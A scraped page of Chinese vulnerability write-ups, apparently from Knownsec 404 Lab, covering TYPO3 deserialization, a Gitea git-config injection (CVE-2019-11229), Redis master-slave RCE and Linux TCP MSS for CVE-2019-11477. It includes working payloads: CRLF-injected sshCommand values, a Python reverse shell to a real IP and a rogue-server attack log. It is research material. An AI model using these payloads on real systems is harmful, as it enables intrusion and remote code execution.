(int)$result['databaseRow'][$fieldWithUidOfDefaultRecord]. ' not found in table ' . $result['tableName'] . ' while editing record ' . $result['databaseRow']['uid'],1438249426);}$result['defaultLanguageRow'] = $defaultLanguageRow;// Unserialize the "original diff source" if givenif (!empty($result['processedTca']['ctrl']['transOrigDiffSourceField'])&& !empty($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']])) {$defaultLanguageKey = $result['tableName'] . ':' . (int)$result['databaseRow']['uid'];$result['defaultLanguageDiffRow'][$defaultLanguageKey] = unserialize($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']]);}//省略代码}//省略代码}//省略代码}很多类都继承了
FormDataProviderInterface接口,因此静态分析寻找谁调用的DatabaseLanguageRows的addData方法根本不现实,但是根据文章中的演示视频,我们可以知道网站中修改page这个功能中进入了漏洞点。在addData方法加上断点,然后发出一个正常的修改page的请求。当程序断在
DatabaseLanguageRows的addData方法后,我们就可以得到调用链。
在
DatabaseLanguageRows这个addData中,只传入了一个$result数组,而且进行反序列化操作的目标是$result['databaseRow']中的某个值。看命名有可能是从数据库中获得的值,往前分析一下。进入
OrderedProviderList的compile方法。路径:
typo3/sysext/backend/Classes/Form/FormDataGroup/OrderedProviderList.php:4312345678910111213141516171819202122232425public function compile(array $result): array{$orderingService = GeneralUtility::makeInstance(DependencyOrderingService::class);$orderedDataProvider = $orderingService->orderByDependencies($this->providerList, 'before', 'depends');foreach ($orderedDataProvider as $providerClassName => $providerConfig) {if (isset($providerConfig['disabled']) && $providerConfig['disabled'] === true) {// Skip this data provider if disabled by configurationcontinue;}/** @var FormDataProviderInterface $provider */$provider = GeneralUtility::makeInstance($providerClassName);if (!$provider instanceof FormDataProviderInterface) {throw new \UnexpectedValueException('Data provider ' . $providerClassName . ' must implement FormDataProviderInterface',1485299408);}$result = $provider->addData($result);}return $result;}我们可以看到,在
foreach这个循环中,动态实例化$this->providerList中的类,然后调用它的addData方法,并将$result作为方法的参数。在调用
DatabaseLanguageRows之前,调用了如图所示的类的addData方法。
经过查询手册以及分析代码,可以知道在
DatabaseEditRow类中,通过调用addData方法,将数据库表中数据读取出来,存储到了$result['databaseRow']中。
路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseEditRow.php:321234567891011121314151617public function addData(array $result){if ($result['command'] !== 'edit' || !empty($result['databaseRow'])) {// 限制功能为`edit`return $result;}$databaseRow = $this->getRecordFromDatabase($result['tableName'], $result['vanillaUid']); // 获取数据库中的记录if (!array_key_exists('pid', $databaseRow)) {throw new \UnexpectedValueException('Parent record does not have a pid field',1437663061);}BackendUtility::fixVersioningPid($result['tableName'], $databaseRow);$result['databaseRow'] = $databaseRow;return $result;}再后面又调用了
DatabaseRecordOverrideValues类的addData方法。
路径:
typo3/sysext/backend/Classes/Form/FormDataProvider/DatabaseRecordOverrideValues.php:3112345678910111213public function addData(array $result){foreach ($result['overrideValues'] as $fieldName => $fieldValue) {if (isset($result['processedTca']['columns'][$fieldName])) {$result['databaseRow'][$fieldName] = $fieldValue;$result['processedTca']['columns'][$fieldName]['config'] = ['type' => 'hidden','renderType' => 'hidden',];}}return $result;}在这里,将
$result['overrideValues']中的键值对存储到了$result['databaseRow']中,如果$result['overrideValues']可控,那么通过这个类,我们就能控制$result['databaseRow']的值了。再往前,看看
$result的值是怎么来的。路径:
typo3/sysext/backend/Classes/Form/FormDataCompiler.php:581234567891011121314public function compile(array $initialData){$result = $this->initializeResultArray();//省略代码foreach ($initialData as $dataKey => $dataValue) {// 省略代码...$result[$dataKey] = $dataValue;}$resultKeysBeforeFormDataGroup = array_keys($result);$result = $this->formDataGroup->compile($result);// 省略代码...}很明显,通过调用
FormDataCompiler的compile方法,将$initialData中的数据存储到了$result中。再往前走,来到了
EditDocumentController类中的makeEditForm方法中。
在这里,
$formDataCompilerInput['overrideValues']获取了$this->overrideVals[$table]中的数据。而
$this->overrideVals的值是在方法preInit中设定的,获取的是通过POST传入的表单中的键值对。
这样一来,在这个请求过程中,进行反序列化的字符串我们就可以控制了。
在表单中提交任意符合数组格式的输入,在后端代码中都会被解析,然后后端根据
TCA来进行判断并处理。 比如我们在提交表单中新增一个名为a[b][c][d],值为233的表单项。
在编辑表单的控制器
EditDocumentController.php中下一个断点,提交之后。
可以看到我们传入的键值对在经过
getParsedBody方法解析后,变成了嵌套的数组,并且没有任何限制。我们只需要在表单中传入
overrideVals这一个数组即可。这个数组中的具体的键值对,则需要看进行反序列化时取的$result['databaseRow']中的哪一个键值。12345678if (isset($result['databaseRow'][$languageField]) && $result['databaseRow'][$languageField] > 0 && isset($result['databaseRow'][$fieldWithUidOfDefaultRecord]) && $result['databaseRow'][$fieldWithUidOfDefaultRecord] > 0) {// 省略代码if (!empty($result['processedTca']['ctrl']['transOrigDiffSourceField']) && !empty($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']])) {$defaultLanguageKey = $result['tableName'] . ':' . (int) $result['databaseRow']['uid'];$result['defaultLanguageDiffRow'][$defaultLanguageKey] = unserialize($result['databaseRow'][$result['processedTca']['ctrl']['transOrigDiffSourceField']]);}//省略代码}要想进入反序列化的点,还需要满足上面的
if条件,动态调一下就可以知道,在if语句中调用的是12$result['databaseRow']['sys_language_uid']$result['databaseRow']['l10n_parent']后面反序列化中调用的是
1$result['databaseRow']['l10n_diffsource']因此,我们只需要在传入的表单中增加三个参数即可。
123overrideVals[pages][sys_language_uid] ==> 4overrideVals[pages][l10n_parent] ==> 4overrideVals[pages][l10n_diffsource] ==> serialized_shell_data
可以看到,我们的输入成功的到达了反序列化的点。
4.3 Core ext 漏洞点利用过程分析
看下
Core中的那个漏洞点。路径:
typo3/sysext/core/Classes/DataHandling/DataHandler.php:145312345678910111213141516171819202122232425262728293031323334public function fillInFieldArray($table, $id, $fieldArray, $incomingFieldArray, $realPid, $status, $tscPID){// Initialize:$originalLanguageRecord = null;$originalLanguage_diffStorage = null;$diffStorageFlag = false;// Setting 'currentRecord' and 'checkValueRecord':if (strpos($id, 'NEW') !== false) {// Must have the 'current' array - not the values after processing below...$checkValueRecord = $fieldArray;if (is_array($incomingFieldArray) && is_array($checkValueRecord)) {ArrayUtility::mergeRecursiveWithOverrule($checkValueRecord, $incomingFieldArray);}$currentRecord = $checkValueRecord;} else {// We must use the current values as basis for this!$currentRecord = ($checkValueRecord = $this->recordInfo($table, $id, '*'));// This is done to make the pid positive for offline versions; Necessary to have diff-view for page translations in workspaces.BackendUtility::fixVersioningPid($table, $currentRecord);}// Get original language record if available:if (is_array($currentRecord)&& $GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']&& $GLOBALS['TCA'][$table]['ctrl']['languageField']&& $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['languageField']] > 0&& $GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']&& (int)$currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']] > 0) {$originalLanguageRecord = $this->recordInfo($table, $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']], '*');BackendUtility::workspaceOL($table, $originalLanguageRecord);$originalLanguage_diffStorage = unserialize($currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']]);}......//省略代码看代码,如果我们要进入反序列化的点,需要满足前面的
if条件1234567if (is_array($currentRecord)&& $GLOBALS['TCA'][$table]['ctrl']['transOrigDiffSourceField']&& $GLOBALS['TCA'][$table]['ctrl']['languageField']&& $currentRecord[$GLOBALS['TCA'][$table]['ctrl']['languageField']] > 0&& $GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']&& (int)$currentRecord[$GLOBALS['TCA'][$table]['ctrl']['transOrigPointerField']] > 0)也就是说要满足以下条件
$currentRecord是个数组- 在
TCA中$table的表属性中存在transOrigDiffSourceField、languageField、transOrigPointerField字段。 $table的属性languageField和transOrigPointerField在$currentRecord中对应的值要大于0。
查一下
TCA表,满足第二条条件的表有123456sys_file_referencesys_file_metadatasys_file_collectionsys_collectionsys_categorypages但是所有
sys_*的字段的adminOnly属性的值都是1,只有管理员权限才可以更改。因此我们可以用的表只有pages。它的属性值是
123[languageField] => sys_language_uid[transOrigPointerField] => l10n_parent[transOrigDiffSourceField] => l10n_diffsource再往上,有一个对传入的参数进行处理的
if-else语句。从注释中,我们可以知道传入的各个参数的功能:
- 数组
$fieldArray是默认值,这种一般都是我们无法控制的 - 数组
$incomingFieldArray是你想要设置的字段值,如果可以,它会合并到$fieldArray中。
而且如果满足
if (strpos($id, 'NEW') !== false)条件的话,也就是$id是一个字符串且其中存在NEW字符串,会进入下面的合并操作。123456$checkValueRecord = $fieldArray;......if (is_array($incomingFieldArray) && is_array($checkValueRecord)) {ArrayUtility::mergeRecursiveWithOverrule($checkValueRecord, $incomingFieldArray);}$currentRecord = $checkValueRecord;
如果不满足上面的
if条件,$currentRecord的值就会通过recordInfo方法从数据库中直接获取。这样后面我们就无法利用了。简单总结一下,我们需要
$table是pages$id是个字符串,而且存在NEW字符串$incomingFieldArray中要存在payload
接下来我们看在哪里对该函数进行了调用。
全局搜索一下,只找到一处,在
typo3/sysext/core/Classes/DataHandling/DataHandler.php:954处的process_datamap方法中进行了调用。
整个项目中,对
process_datamap调用的地方就太多了,尝试使用xdebug动态调试来找一下调用链。从RIPS团队的那一篇分析文章结合上面的对表名的分析,我们可以知道,漏洞点在创建page的功能处。接下来就是找从
EditDocumentController.php的mainAction方法到前面我们分析的fillInFieldArray方法的调用链。尝试在网站中新建一个
page,然后在调用fillInFieldArray的位置下一个断点,发送请求后,我们就拿到了调用链。
看一下
mainAction的代码。1234567891011121314151617181920212223public function mainAction(ServerRequestInterface $request): ResponseInterface{// Unlock all locked recordsBackendUtility::lockRecords();if ($response = $this->preInit($request)) {return $response;}// Process incoming data via DataHandler?$parsedBody = $request->getParsedBody();if ($this->doSave|| isset($parsedBody['_savedok'])|| isset($parsedBody['_saveandclosedok'])|| isset($parsedBody['_savedokview'])|| isset($parsedBody['_savedoknew'])|| isset($parsedBody['_duplicatedoc'])) {if ($response = $this->processData($request)) {return $response;}}....//省略代码}当满足
if条件是进入目标$response = $this->processData($request)。1234567if ($this->doSave|| isset($parsedBody['_savedok'])|| isset($parsedBody['_saveandclosedok'])|| isset($parsedBody['_savedokview'])|| isset($parsedBody['_savedoknew'])|| isset($parsedBody['_duplicatedoc']))这个在新建一个
page时,正常的表单中就携带doSave == 1,而doSave的值就是在方法preInit中获取的。
这样条件默认就是成立的,然后将
$request传入了processData方法。1234567891011121314151617181920212223242526272829303132333435363738394041424344public function processData(ServerRequestInterface $request = null): ?ResponseInterface{// @deprecated Variable can be removed in TYPO3 v10.0$deprecatedCaller = false;......//省略代码$parsedBody = $request->getParsedBody(); // 获取Post请求参数$queryParams = $request->getQueryParams(); // 获取Get请求参数$beUser = $this->getBackendUser(); // 获取用户数据// Processing related GET / POST vars$this->data = $parsedBody['data'] ?? $queryParams['data'] ?? [];$this->cmd = $parsedBody['cmd'] ?? $queryParams['cmd'] ?? [];$this->mirror = $parsedBody['mirror'] ?? $queryParams['mirror'] ?? [];// @deprecated property cacheCmd is unused and can be removed in TYPO3 v10.0$this->cacheCmd = $parsedBody['cacheCmd'] ?? $queryParams['cacheCmd'] ?? null;// @deprecated property redirect is unused and can be removed in TYPO3 v10.0$this->redirect = $parsedBody['redirect'] ?? $queryParams['redirect'] ?? null;$this->returnNewPageId = (bool)($parsedBody['returnNewPageId'] ?? $queryParams['returnNewPageId'] ?? false);// Only options related to $this->data submission are included here$tce = GeneralUtility::makeInstance(DataHandler::class);$tce->setControl($parsedBody['control'] ?? $queryParams['control'] ?? []);// Set internal varsif (isset($beUser->uc['neverHideAtCopy']) && $beUser->uc['neverHideAtCopy']) {$tce->neverHideAtCopy = 1;}// Load DataHandler with data$tce->start($this->data, $this->cmd);if (is_array($this->mirror)) {$tce->setMirror($this->mirror);}// Perform the saving operation with DataHandler:if ($this->doSave === true) {$tce->process_uploads($_FILES);$tce->process_datamap();$tce->process_cmdmap();}......//省略代码}代码很容易懂,从
$request中解析出来的数据,首先存储在$this->data和$this->cmd中,然后实例化一个名为$tce,调用$tce->start方法将传入的数据存储在其自身的成员datamap和cmdmap中。1234567891011121314typo3/sysext/core/Classes/DataHandling/DataHandler.php:735public function start($data, $cmd, $altUserObject = null){......//省略代码// Setting the data and cmd arraysif (is_array($data)) {reset($data);$this->datamap = $data;}if (is_array($cmd)) {reset($cmd);$this->cmdmap = $cmd;}}而且
if ($this->doSave === true)这个条件也是成立的,进入process_datamap方法。
代码有注释还是容易阅读的,在第
985行,获取了datamap中所有的键名,然后存储在$orderOfTables,然后进入foreach循环,而这个$table,在后面传入fillInFieldArray方法中,因此,我们只需要分析$table == pages时的循环即可。1$fieldArray = $this->fillInFieldArray($table, $id, $fieldArray, $incomingFieldArray, $theRealPid, $status, $tscPID);大致浏览下代码,再结合前面的分析,我们需要满足以下条件:
$recordAccess的值要为true$incomingFieldArray中的payload不会被删除$table的值为pages$id中存在NEW字符串
既然正常请求可以直接断在调用
fillInFieldArray处,正常请求中,第一条、第三条和第四条都是成立的。根据前面对
fillInFieldArray方法的分析,构造payload,向提交的表单中添加三个键值对。123data[pages][NEW5d3fa40cb5ac4065255421][l10n_diffsource] ==> serialized_shell_datadata[pages][NEW5d3fa40cb5ac4065255421][sys_language_uid] ==> 4data[pages][NEW5d3fa40cb5ac4065255421][l10n_parent] ==> 4其中
NEW*字符串要根据表单生成的值进行对应的修改。
发送请求后,依旧能够进入
fillInFieldArray,而在传入的$incomingFieldArray参数中,可以看到我们添加的三个键值对。
进入
fillInFieldArray之后,其中l10n_diffsource将会进行反序列化操作。此时我们在请求中将其l10n_diffsource改为构造好的序列化字符串,重新发送请求即可成功getshell。
5. 写在最后
其实单看这个漏洞的利用条件,还是有点鸡肋的,需要你获取到
typo3的一个有效的后台账户,并且拥有编辑page的权限。而且这次分析
Typo3给我的感觉与其他网站完全不同,我在分析创建&修改page这个功能的参数过程中,并没有发现什么过滤操作,在后台的所有参数都是根据TCA的定义来进行相应的操作,只有传入不符合TCA定义的才会抛出异常。而TCA的验证又不严格导致了变量覆盖这个问题。官方的修补方式也是不太懂,直接禁止了反序列化操作,但是个人认为这次漏洞的重点还是在于前面变量覆盖的问题上,尤其是
Backend的利用过程中,可以直接覆盖从数据库中取出的数据,这样只能算是治标不治本,后面还是有可能产生新的问题。当然了,以上只是个人拙见,如有错误,还请诸位斧正。
6. 参考链接
-
CVE-2019-11229详细分析 –git config可控-RCE
作者:LoRexxar'@知道创宇404实验室
时间:2019年7月23日
英文版本:https://paper.seebug.org/990/2019年4月15号,gitea曾爆出过一个漏洞,恰逢当时对这个漏洞比较好奇就着手去研究了一下,漏洞的描述是这样的:
models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to remote code execution.
在和朋友@hammer的一同研究下,成功控制了git config的内容,但是在从git config到RCE的过程遇到了困难,就暂时搁置了,在过了几个月之后,偶然得到@Lz1y和@x1nGuang两位大佬的启发,成功复现了这个漏洞,下面我们就来仔细研究下这个问题。
分析补丁
首先根据cve的信息,确定漏洞1.7.6和1.8.0-rc3上修复
- https://github.com/go-gitea/gitea/releases/tag/v1.7.6
- https://github.com/go-gitea/gitea/releases/tag/v1.8.0-rc3
根据漏洞文件为
repo_mirror.go这个信息锁定更新的commit,commit主要为 #6593和#6595根据patch可以大致锁定问题的关键点
/models/repo_mirror.go
当仓库为mirror仓库时,settings页面会显示关于mirror的配置
1234if !repo.IsMirror {ctx.NotFound("", nil)return}patch中将原来的修改配置文件中的url选项修改为NewCommand。很容易理解,将写入文件更改为执行命令,这种修复方式一定是因为写入文件存在无法修复这个问题的窘境,那么这也就说明url这里可以通过传入
%0d%0a来换行,导致修改config中的其他配置。控制 gitconfig
跟随前面的逻辑,首先我们新建一个mirror仓库。

抓包并修改
mirror_address为相应的属性。
1mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0atest=/tmp%0d%0aa="""
可以传入各种配置,可以控制config文件的内容。
比较有趣的是,如果你更新同步设置时,服务端还会格式化配置。

进一步利用
而重要的是如何从config文件可控到下一步利用。
首先,git服务端只会保留.git里的内容,并不是完整的类似我们客户端使用的git仓库。所以很难引入外部文件。否则就可以通过设置hook目录来实现RCE,这种思路的关键点在于找到一个可控的文件写入或者文件上传。
其次,另外一种思路就是寻找一个能够执行命令的配置,并寻找一个能够触发相关配置的远程配置。
通过写文件配合 githook path RCE
在git中,存在一个叫做Git Hook的东西,是用于在处理一些操作的时,相应的hook就会执行相应的脚本。

在web界面,只有gitea的管理员才能管理git hook,所以对于普通用户来说,我们就不能直接通过编辑git hook来修改脚本。
但我们却可以通过控制git config来修改hook存放的目录。

当我们构造发送
1mirror_address=https%3A%2F%2Fgithub.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0ahooksPath=/tmp%0d%0aa="""服务端的config文件变为

这样我们只要能在服务端的任意位置能够写入文件或者创建文件,我们就可以设置hookspath到那里,并触发git hook来执行命令。
在经过我们的仔细研究之后,我们发现,在漏洞存在的版本1.7.5版本以下,如果编辑服务端的文件,那么服务端的文件就会保存在gitea的运行目录下生成。
1/data/tmp/local-repo/{repo_id}而这个文件在不重启gitea的情况下不会清除,而这个repo_id可以从其他的api处挖掘到。
具体详细利用链可以看
值得注意的是,这种方式需要知道服务端运行的位置,虽然我们可以认为go的路径都是比较形似的,也有部分人会在当前编译目录下执行。但可以说这种方式还是不算靠谱。
通过控制 git config 配置来 RCE
在@x1nGuang大佬的帮助下,我重新审视了和git config相关的一些配置。
gitProxy

gitProxy是用来针对git协议需要fetch等操作时,需要执行的命令。是一个用来应对特殊场景的配置选项。一般是应用于,在git请求时,可能的需要使用代理应用的场景。
这里我们设置服务端
12[core]gitproxy = calc.exe然后需要注意,同步的url必须为git开头

但问题在于,由于gitProxy在git设计中,就是执行一个代理应用,所以无论输入什么,都会被当作一个应用执行,也就没办法带参数。
这样一来,在实际的利用场景中就又受到了很大的局限,这里可以尝试用普通项目中的上传文件功能来上传一个bin,然后抓包获取文件路径,最后通过gitProxy来执行后门。
但同样的是,这种思路仍旧受限于gitea的运行目录,不过比起之前的利用方式来说,1.8.0版本也可以利用这种方式来RCE。
sshCommand
在git的文档中,还有一个配置是sshCommand。

这是一个在git中允许通过特殊的配置,使git fetch/git push 通过ssh来连接远端的系统。在@Lz1y大佬的博客中也提到了这种利用方式。
我们设置sshCommand为指定的命令
1mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand=calc.exe%0d%0aa="""然后设置协议为ssh保存,并点击同步。

而与gitProxy不同的是,这里可以跟参数
1&mirror_address=https%3A%2F%2Ftest%3A%40github.com%2FLoRexxar%2Ftest_for_gitea.git"""%0d%0a[core]%0d%0asshCommand="touch 2333"%0d%0aa="""
写在最后
这是一个很特别的关于git类平台的漏洞例子,由于我在研究git config利用方式的时候遭遇了很多困难,导致这篇文章断断续续的复现了很久。整个漏洞利用链和git的特性都有强依赖,还算是挺有趣的体验,有机会再仔细分析一下gitea、gogs和gitlab的代码,希望也能挖一个有趣的洞...

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/989/
-
Redis 基于主从复制的 RCE 利用方式
作者:LoRexxar'@知道创宇404实验室
时间:2019年7月9日在2019年7月7日结束的WCTF2019 Final上,LC/BC的成员Pavel Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式,比起以前的利用方式来说,这种利用方式更为通用,危害也更大,下面就让我们从以前的redis RCE利用方式出发,一起聊聊关于redis的利用问题。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
通过写入文件 GetShell
未授权的redis会导致GetShell,可以说已经是众所周知的了。
12345678127.0.0.1:6379> config set dir /var/spool/cron/crontabsOK127.0.0.1:6379> config set dbfilename rootOK127.0.0.1:6379> get 1"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"127.0.0.1:6379> saveOK而这种方式是通过写文件来完成GetShell的,这种方式的主要问题在于,redis保存的数据并不是简单的json或者是csv,所以写入的文件都会有大量的无用数据,形似
123[padding]* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'[padding]这种主要利用了crontab、ssh key、webshell这样的文件都有一定容错性,再加上crontab和ssh服务可以说是服务器的标准的服务,所以在以前,这种通过写入文件的getshell方式基本就可以说是很通杀了。
但随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。
通过主从复制 GetShell
在介绍这种利用方式之前,首先我们需要介绍一下什么是主从复制和redis的模块。
Redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
这里我们开两台docker来做测试
1234ubuntu@VM-1-7-ubuntu:~/lorexxar$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3fdb2479af9c redis:5.0 "docker-entrypoint.s…" 22 hours ago Up 4 seconds 0.0.0.0:6380->6379/tcp epic_khorana3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 23 hours ago Up 23 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin然后通过slaveof可以设置主从状态

这样一来数据就会自动同步了
Redis模块
在了解了主从同步之后,我们还需要对redis的模块有所了解。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
编写恶意so文件的代码
https://github.com/RicterZ/RedisModules-ExecuteCommand
利用原理
Pavel Toporkov在2018年的zeronights会议上,分享了关于这个漏洞的详细原理。
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

在ppt中提到,在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
复现过程
这里我们选择使用模拟的恶意服务端来作为主机,并模拟fullresync请求。
https://github.com/LoRexxar/redis-rogue-server
然后启用redis 5.0的docker
123ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ sudo docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3e313c7498c2 redis:5.0 "docker-entrypoint.s…" 25 hours ago Up 25 hours 0.0.0.0:6379->6379/tcp vibrant_hodgkin为了能够更清晰的看到效果,这里我们把从服务端执行完成后删除的部分暂时注释掉。
然后直接通过脚本来攻击服务端
12345678910111213141516171819ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381TARGET 172.17.0.3:6379SERVER 172.17.0.1:6381[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'[->] b'+OK\r\n'[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'[->] b'+OK\r\n'[->] b'*1\r\n$4\r\nPING\r\n'[<-] b'+PONG\r\n'[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'[<-] b'+OK\r\n'[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'[<-] b'+OK\r\n'[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'[->] b'+OK\r\n'[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'[->] b'+OK\r\n'然后我们链接上去就可以执行命令
12345ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3172.17.0.3:6379> system.exec "id""\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"172.17.0.3:6379> system.exec "whoami""\bredis\n"
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/975/
-
Linux 内核 TCP MSS 机制详细分析
作者:Hcamael@知道创宇 404 实验室
时间:2019 年 6 月 26 日
英文版本:https://paper.seebug.org/967/前言
上周Linux内核修复了4个CVE漏洞[1],其中的CVE-2019-11477感觉是一个很厉害的Dos漏洞,不过因为有其他事打断,所以进展的速度比较慢,这期间网上已经有相关的分析文章了。[2][3]
而我在尝试复现CVE-2019-11477漏洞的过程中,在第一步设置MSS的问题上就遇到问题了,无法达到预期效果,但是目前公开的分析文章却没对该部分内容进行详细分析。所以本文将通过Linux内核源码对TCP的MSS机制进行详细分析。
测试环境
1. 存在漏洞的靶机
操作系统版本:Ubuntu 18.04
内核版本:4.15.0-20-generic
地址:192.168.11.112
内核源码:
12$ sudo apt install linux-source-4.15.0$ ls /usr/src/linux-source-4.15.0.tar.bz2带符号的内核:
12345$ cat /etc/apt/sources.list.d/ddebs.listdeb http://ddebs.ubuntu.com/ bionic maindeb http://ddebs.ubuntu.com/ bionic-updates main$ sudo apt install linux-image-4.15.0-20-generic-dbgsym$ ls /usr/lib/debug/boot/vmlinux-4.15.0-20-generic关闭内核地址随机化(KALSR):
12345# 内核是通过grup启动的,所以在grup配置文件中,内核启动参数里加上nokaslr$ cat /etc/default/grub |grep -v "#" | grep CMDLIGRUB_CMDLINE_LINUX_DEFAULT="nokaslr"GRUB_CMDLINE_LINUX=""$ sudo update-grub装一个nginx,供测试:
1$ sudo apt install nginx2. 宿主机
操作系统:MacOS
Wireshark:抓流量
虚拟机:VMware Fusion 11
调试Linux虚拟机:
12$ cat ubuntu_18.04_server_test.vmx|grep debugdebugStub.listen.guest64 = "1"编译gdb:
12345$ ./configure --build=x86_64-apple-darwin --target=x86_64-linux --with-python=/usr/local/bin/python3$ make$ sudo make install$ cat .zshrc|grep gdbalias gdb="~/Documents/gdb_8.3/gdb/gdb"gdb进行远程调试:
123456789$ gdb vmlinux-4.15.0-20-generic$ cat ~/.gdbinitdefine gefsource ~/.gdbinit-gef.pyenddefine kerneltarget remote :8864end3. 攻击机器
自己日常使用的Linux设备就好了
地址:192.168.11.111
日常习惯使用Python的,需要装个scapy构造自定义TCP包
自定义SYN的MSS选项
有三种方法可以设置TCP SYN包的MSS值
1. iptable
1234# 添加规则$ sudo iptables -I OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 48# 删除$ sudo iptables -D OUTPUT -p tcp -m tcp --tcp-flags SYN,RST SYN -j TCPMSS --set-mss 482. route
1234567# 查看路由信息$ route -ne$ ip route show192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100# 修改路由表$ sudo ip route change 192.168.11.0/24 dev ens33 proto kernel scope link src 192.168.11.111 metric 100 advmss 48# 修改路由表信息就是在上面show的结果后面加上 advmss 83. 直接发包设置
PS:使用scapy发送自定义TCP包需要ROOT权限
1234from scapy.all import *ip = IP(dst="192.168.11.112")tcp = TCP(dport=80, flags="S",options=[('MSS',48),('SAckOK', '')])flags选项S表示
SYN,A表示ACK,SA表示SYN, ACKscapy中TCP可设置选项表:
